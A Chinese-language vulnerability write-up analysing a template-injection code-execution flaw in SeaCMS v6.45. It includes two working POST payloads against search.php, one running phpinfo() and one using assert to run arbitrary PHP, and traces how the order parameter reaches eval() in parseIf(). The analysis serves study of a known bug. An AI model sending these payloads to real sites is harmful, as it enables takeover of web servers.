SeaCMS v6.45前台代码执行漏洞分析

SeaCMS没有使用框架,比较适合练习。

1. 源码下载

1
2
3
链接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw

密码:cd48

2. POC

第一种

1
2
http://127.0.0.1/seacms/search.php
POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}

第二种

1
2
http://127.0.0.1/seacms/search.php
POST:searchtype=5&order=}{end if} {if:1)print_r($_POST[a]($_POST[b]));//}{end if}&a=assert&b=phpinfo();

效果图

3. 漏洞原理分析

3.1 代码执行简单流程

3.2 详细分析

代码执行的原因是$order参数没做严格的限制,就将其传入了模板文件中,然后使用eval()执行模板中包含$order的代码。

首先,在文件seacms/search.php中,包含了文件seacms/include/common.php,在common.php中第45-48行,将GET,POST等请求传入的全局变量中的键值对转换成变量,并对其中的值使用addslashes()进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar); # 转义单引号、双引号、反斜线、NULL
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

然后在seacms/search.php文件的echoSearchPage()函数中,也就是文件第63行,将变量注册成全局变量。

1
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;

可以看到,在search.php中,执行echoSearchPage()函数之前,没有对$order变量进行处理。

接着往下看,在echoSearchPage()函数中,使用$searchtype来选择使用的模板文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$typeStr = !empty($tid)?intval($tid).'_':'0_';
$yearStr = !empty($year)?PinYin($year).'_':'0_';
$letterStr = !empty($letter)?$letter.'_':'0_';
$areaStr = !empty($area)?PinYin($area).'_':'0_';
$orderStr = !empty($order)?$order.'_':'0_';
$jqStr = !empty($jq)?$jq.'_':'0_';
$cacheName="parse_cascade_".$typeStr.$yearStr.$letterStr.$areaStr.$orderStr;
$pSize = getPageSizeOnCache($searchTemplatePath,"cascade","");
}else
{
if($cfg_search_time&&$page==1) checkSearchTimes($cfg_search_time);
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/search.html";
$cacheName="parse_search_";
$pSize = getPageSizeOnCache($searchTemplatePath,"search","");
}

当值是5时,会使用cascade.html,文件目录为seacms\templets\default\html\cascade.html,若不是,则会使用earch.html,文件目录为seacms\templets\default\html\search.html

下面153行,将模板文件读取到$content变量中,接着在155-173行替换标签。其中第158行使用$order替换了模板中{searchpage:ordername}标签。然后分别搜索search.htmlcascade.html,只有cascade.html第79-81行存在该标签。

1
2
3
<a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"{searchpage:ordername}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
<a href="{searchpage:order-score-link}" {if:"{searchpage:ordername}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>

因此,必须要$searchtype==5

接着往下走,在第212行

1
$content=$mainClassObj->parseIf($content);

跟进去,在seacms\include\main.class.php中第3098-3147行中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
function parseIf($content)
{
if (strpos($content, '{if:') === false) {
return $content;
} else {
$labelRule = buildregx("{if:(.*?)}(.*?){end if}", "is");
$labelRule2 = "{elseif";
$labelRule3 = "{else}";
preg_match_all($labelRule, $content, $iar);
$arlen = count($iar[0]);
$elseIfFlag = false;
for ($m = 0; $m < $arlen; $m++) {
$strIf = $iar[1][$m];
$strIf = $this->parseStrIf($strIf);
$strThen = $iar[2][$m];
$strThen = $this->parseSubIf($strThen);
if (strpos($strThen, $labelRule2) === false) {
if (strpos($strThen, $labelRule3) >= 0) {
$elsearray = explode($labelRule3, $strThen);
$strThen1 = $elsearray[0];
$strElse1 = $elsearray[1];
@eval("if(" . $strIf . "){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag) {
$content = str_replace($iar[0][$m], $strThen1, $content);
} else {
$content = str_replace($iar[0][$m], $strElse1, $content);
}
} else {
@eval("if(" . $strIf . ") { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag) {
$content = str_replace($iar[0][$m], $strThen, $content);
} else {
$content = str_replace($iar[0][$m], "", $content);
}
}
} else {
$elseIfArray = explode($labelRule2, $strThen);
$elseIfArrayLen = count($elseIfArray);
$elseIfSubArray = explode($labelRule3, $elseIfArray[$elseIfArrayLen - 1]);
$resultStr = $elseIfSubArray[1];
$elseIfArraystr0 = addslashes($elseIfArray[0]);
@eval("if({$strIf}){\$resultStr=\"{$elseIfArraystr0}\";}");
for ($elseIfLen = 1; $elseIfLen < $elseIfArrayLen; $elseIfLen++) {
$strElseIf = getSubStrByFromAndEnd($elseIfArray[$elseIfLen], ":", "}", "");
$strElseIf = $this->parseStrIf($strElseIf);
$strElseIfThen = addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen], "}", "", "start"));
@eval("if(" . $strElseIf . "){\$resultStr=\"{$strElseIfThen}\";}");
@eval("if(" . $strElseIf . "){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {
break;
}
}
$strElseIf0 = getSubStrByFromAndEnd($elseIfSubArray[0], ":", "}", "");
$strElseIfThen0 = addslashes(getSubStrByFromAndEnd($elseIfSubArray[0], "}", "", "start"));
if (strpos($strElseIf0, '==') === false && strpos($strElseIf0, '=') > 0) {
$strElseIf0 = str_replace('=', '==', $strElseIf0);
}
@eval("if(" . $strElseIf0 . "){\$resultStr=\"{$strElseIfThen0}\";\$elseIfFlag=true;}");
$content = str_replace($iar[0][$m], $resultStr, $content);
}
}
return $content;
}
}

可以看到下面存在eval()函数来执行代码,要想进入到eval()$content中必须含有{if:字符串。

然后是正则,

1
2
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
preg_match_all($labelRule,$content,$iar);

看代码执行流程,在eval()函数中,$strIf就是之前preg_match_all()中第一个(.*?)匹配出来的值。

1
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

eval()中,要闭合前面的if语句,可以构造1)phpinfo();if(1,又要符合正则{if:(.*?)}(.*?){end if},再看标签:

1
<a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>

由于$order替换的是{searchpage:ordername},所以,在1)phpinfo();if(1基础上添加。

1
}{end if}{if:1)phpinfo();if(1}{end if}

漏洞利用的基本流程就是这样,简单来说,就是有个可控的变量没有经过过滤,就被带入了eval()中,导致了代码执行。

4. 参考

SeaCMS v6.45前台Getshell 代码执行